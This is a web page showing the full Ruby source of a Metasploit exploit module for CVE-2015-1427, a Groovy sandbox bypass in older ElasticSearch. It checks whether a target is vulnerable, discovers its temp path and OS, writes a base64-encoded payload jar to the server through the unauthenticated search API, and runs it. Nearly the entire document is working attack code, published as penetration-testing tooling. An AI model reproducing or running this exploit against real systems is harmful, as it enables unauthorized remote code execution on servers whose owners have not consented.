CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/elasticsearch/search_groovy_script.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::FileDropper
10
include Msf::Exploit::Remote::HttpClient
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'ElasticSearch Search Groovy Sandbox Bypass',
15
'Description' => %q{
16
This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
17
exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the
18
REST API, which does not require authentication, where the search function allows
19
groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName
20
to reference arbitrary classes. It can be used to execute arbitrary Java code. This
21
module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04.
22
},
23
'Author' =>
24
[
25
'Cameron Morris', # Vulnerability discovery
26
'Darren Martyn', # Public Exploit
27
'juan vazquez' # Metasploit module
28
],
29
'License' => MSF_LICENSE,
30
'References' =>
31
[
32
['CVE', '2015-1427'],
33
['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'],
34
['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'],
35
['URL', 'http://drops.wooyun.org/papers/5107']
36
],
37
'Platform' => 'java',
38
'Arch' => ARCH_JAVA,
39
'Targets' =>
40
[
41
['ElasticSearch 1.4.2', {}]
42
],
43
'DisclosureDate' => '2015-02-11',
44
'DefaultTarget' => 0))
45
46
register_options(
47
[
48
Opt::RPORT(9200),
49
OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"])
50
])
51
end
52
53
def check
54
result = Exploit::CheckCode::Safe
55
56
if vulnerable?
57
result = Exploit::CheckCode::Vulnerable
58
end
59
60
result
61
end
62
63
def exploit
64
print_status("Checking vulnerability...")
65
unless vulnerable?
66
fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
67
end
68
69
print_status("Discovering TEMP path...")
70
res = execute(java_tmp_dir)
71
tmp_dir = parse_result(res)
72
if tmp_dir.nil?
73
fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
74
else
75
print_good("TEMP path on '#{tmp_dir}'")
76
end
77
78
print_status("Discovering remote OS...")
79
res = execute(java_os)
80
os = parse_result(res)
81
if os.nil?
82
fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
83
else
84
print_good("Remote OS is '#{os}'")
85
end
86
87
if os =~ /win/i
88
tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar"
89
else
90
tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar")
91
end
92
93
register_files_for_cleanup(tmp_file)
94
95
print_status("Trying to load metasploit payload...")
96
java = java_load_class(os, tmp_file)
97
execute(java)
98
end
99
100
def vulnerable?
101
java = 'java.lang.Math.class.forName("java.lang.Runtime")'
102
103
vprint_status("Trying to get a reference to java.lang.Runtime...")
104
res = execute(java)
105
result = parse_result(res)
106
107
if result.nil?
108
vprint_status("no response to test")
109
return false
110
elsif result == 'class java.lang.Runtime'
111
return true
112
end
113
114
false
115
end
116
117
def parse_result(res)
118
unless res
119
vprint_error("No response")
120
return nil
121
end
122
123
unless res.code == 200 && res.body
124
vprint_error("Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
125
return nil
126
end
127
128
begin
129
json = JSON.parse(res.body.to_s)
130
rescue JSON::ParserError
131
return nil
132
end
133
134
begin
135
result = json['hits']['hits'][0]['fields']['msf_result']
136
rescue
137
return nil
138
end
139
140
result.is_a?(::Array) ? result.first : result
141
end
142
143
def java_tmp_dir
144
'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")'
145
end
146
147
def java_os
148
'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")'
149
end
150
151
def java_load_class(os, tmp_file)
152
if os =~ /win/i
153
tmp_file.gsub!(/\\/, '\\\\\\\\')
154
end
155
156
java = [
157
'c=java.lang.Math.class.forName("java.io.FileOutputStream");',
158
'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");',
159
"i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");",
160
'b64_i=b64.newInstance();',
161
"i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));",
162
'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");',
163
'file_class=java.lang.Math.class.forName("java.io.File");',
164
"file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();",
165
'loader=loader_class.newInstance();',
166
'loader.addURL(file_url);',
167
'm=loader.loadClass(\'metasploit.Payload\');',
168
'm.main(null);'
169
]
170
171
java.join
172
end
173
174
def execute(java, timeout = 20)
175
payload = {
176
"size" => 1,
177
"query" => {
178
"filtered" => {
179
"query" => {
180
"match_all" => {}
181
}
182
}
183
},
184
"script_fields" => {
185
"msf_result" => {
186
"script" => java,
187
"lang" => "groovy"
188
}
189
}
190
}
191
192
res = send_request_cgi({
193
'uri' => normalize_uri(target_uri.path.to_s, "_search"),
194
'method' => 'POST',
195
'data' => JSON.generate(payload)
196
}, timeout)
197
198
res
199
end
200
end
201
202